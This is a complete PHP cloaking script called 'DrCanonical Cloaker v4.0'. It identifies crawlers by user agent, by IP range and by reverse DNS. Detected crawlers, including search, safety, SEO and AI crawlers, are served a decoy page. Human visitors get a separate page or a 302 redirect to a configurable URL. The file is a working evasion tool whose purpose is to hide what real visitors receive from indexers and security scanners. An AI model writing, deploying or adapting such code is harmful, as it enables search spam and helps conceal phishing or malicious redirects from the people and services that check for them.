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<?php
// DrCanonical Cloaker v4.0 - DO NOT EDIT

// ===== LAYER 1: User-Agent (100+ patterns) =====
$_ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$_bot = ($_ua === '');

if (!$_bot) {
    $_bp = array(
        // Google (18)
        'googlebot','google-inspectiontool','google-safety','google-site-verification',
        'google-structured-data','google-xrawler','googleother','googlesecurityscanner',
        'storebot-google','adsbot-google','mediapartners-google','feedfetcher-google',
        'apis-google','google-adwords','googlebot-image','googlebot-news',
        'googlebot-video','googlebot-mobile',
        // Bing (4)
        'bingbot','msnbot','bingpreview','adidxbot',
        // Yahoo (2)
        'slurp','yahoo',
        // Yandex (26)
        'yandexbot','yandex.com/bots','yandeximages','yandexvideo',
        'yandexmedia','yandexblogs','yandexfavicons','yandexwebmaster',
        'yandexdirect','yandexmetrika','yandexnews','yandexpagechecker',
        'yandeximageresizer','yandexcalendar','yandexsitelinks','yandexadnet',
        'yandexmarket','yandexontodb','yandexvertis','yandexscreenshotbot',
        'yandexmobilebot','yandexrenderresources','yandexaccessibilitybot',
        'yandexfordomain','yandexturbo','yandexmediaadbot',
        // Baidu (4)
        'baiduspider','baiduspider-image','baiduspider-video','baiduspider-news',
        // DuckDuckGo (2)
        'duckduckbot','duckduckgo-favicons-bot',
        // Other search (12)
        'sogou','exabot','ia_archiver','naver','naverbot','yeti',
        'seznambot','ccbot','qwantify','petalbot','applebot','mail.ru_bot',
        // SEO (18)
        'ahrefsbot','semrushbot','mj12bot','dotbot','rogerbot',
        'screaming frog','deepcrawl','lumar','serpstatbot','linkdexbot',
        'blexbot','dataforseo','megaindex','seokicks','sistrix',
        'spbot','backlinkcrawler','turnitinbot',
        // Social (14)
        'facebookexternalhit','facebot','twitterbot','linkedinbot',
        'pinterest','whatsapp','telegrambot','slackbot','discordbot',
        'skypeuripreview','viberurldownloader','snapchat','redditbot','kakaotalk',
        // AI crawlers (12)
        'gptbot','chatgpt-user','claudebot','claude-web','anthropic',
        'cohere-ai','perplexitybot','bytespider','amazonbot',
        'youbot','ai2bot','diffbot',
        // Monitoring (7)
        'uptimerobot','pingdom','statuscake','site24x7','newrelicpinger',
        'datadog','checkly',
        // Generic (16)
        'crawler','spider','bot/','bot;','http://','https://',
        'wget','curl/','python-requests','python-urllib','java/',
        'libwww','nutch','phpcrawl','go-http-client','headlesschrome',
    );
    foreach ($_bp as $_p) {
        if (strpos($_ua, $_p) !== false) { $_bot = true; break; }
    }
}

// ===== LAYER 2: Known Bot IP Ranges =====
if (!$_bot && function_exists('ip2long')) {
    $_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    $_ipl = ip2long($_ip);
    if ($_ipl !== false) {
        $_ranges = array(
            // Google
            array(1089052736, 1089060863), // 66.249.64-95
            array(1089069056, 1089077247), // 64.233.160-191 -> corrected
            array(1208025088, 1208041471), // 72.14.192-255
            array(3512303616, 3512369151), // 209.85.128-255
            array(3639508992, 3639517183), // 216.239.32-63
            // Bing
            array(679329536, 679329791), // 40.77.167.0-255
            array(2637529856, 2637530111), // 157.55.39.0-255
            array(3476307712, 3476307967), // 207.46.13.0-255
            array(881078272, 881078527), // 52.167.144.0-255
            // Yandex
            array(100598528, 100598783), // 5.255.253.0-255
            array(1297072384, 1297072639), // 77.88.5.0-255
            array(1475674112, 1475682303), // 87.250.224-255
            array(1570635008, 1570635263), // 93.158.161.0-255
            array(1680605184, 1680613375), // 100.43.64-95
            array(2374143488, 2374143743), // 141.8.142.0-255
            array(2996699136, 2996731903), // 178.154.128-255
            // Baidu
            array(3024093184, 3024158719), // 180.76.0-255
            array(3702841344, 3702906879), // 220.181.0-255
            array(1957560320, 1957625855), // 116.179.0-255
        );
        foreach ($_ranges as $_r) {
            if ($_ipl >= $_r[0] && $_ipl <= $_r[1]) { $_bot = true; break; }
        }
    }
}

// ===== LAYER 3: Reverse DNS for suspect requests =====
if (!$_bot && function_exists('gethostbyaddr')) {
    $_accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
    if ($_accept === '' || $_accept === '*/*') {
        $_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
        $_h = @gethostbyaddr($_ip);
        if ($_h && $_h !== $_ip) {
            $_h = strtolower($_h);
            $_bd = array('.googlebot.com','.google.com','.search.msn.com','.bing.com',
                '.yandex.ru','.yandex.net','.yandex.com','.crawl.yahoo.net',
                '.baidu.com','.sogou.com','.seznam.cz','.mail.ru','.naver.com');
            foreach ($_bd as $_d) {
                if (substr($_h, -strlen($_d)) === $_d) { $_bot = true; break; }
            }
        }
    }
}

// ===== SERVE =====
if ($_bot) {
    @readfile(__DIR__ . '/cloack.html');
    exit;
}
$_cf = @file_get_contents(__DIR__ . '/.dc-config.json');
$_c = $_cf ? (function_exists('json_decode') ? json_decode($_cf, true) : array()) : array();
$_vm = isset($_c['visitor_mode']) ? $_c['visitor_mode'] : 'content';
$_ru = isset($_c['redirect_url']) ? $_c['redirect_url'] : '';
if ($_vm === 'redirect' && $_ru !== '') {
    header('Location: ' . $_ru, true, 302);
    exit;
}
@readfile(__DIR__ . '/user.html');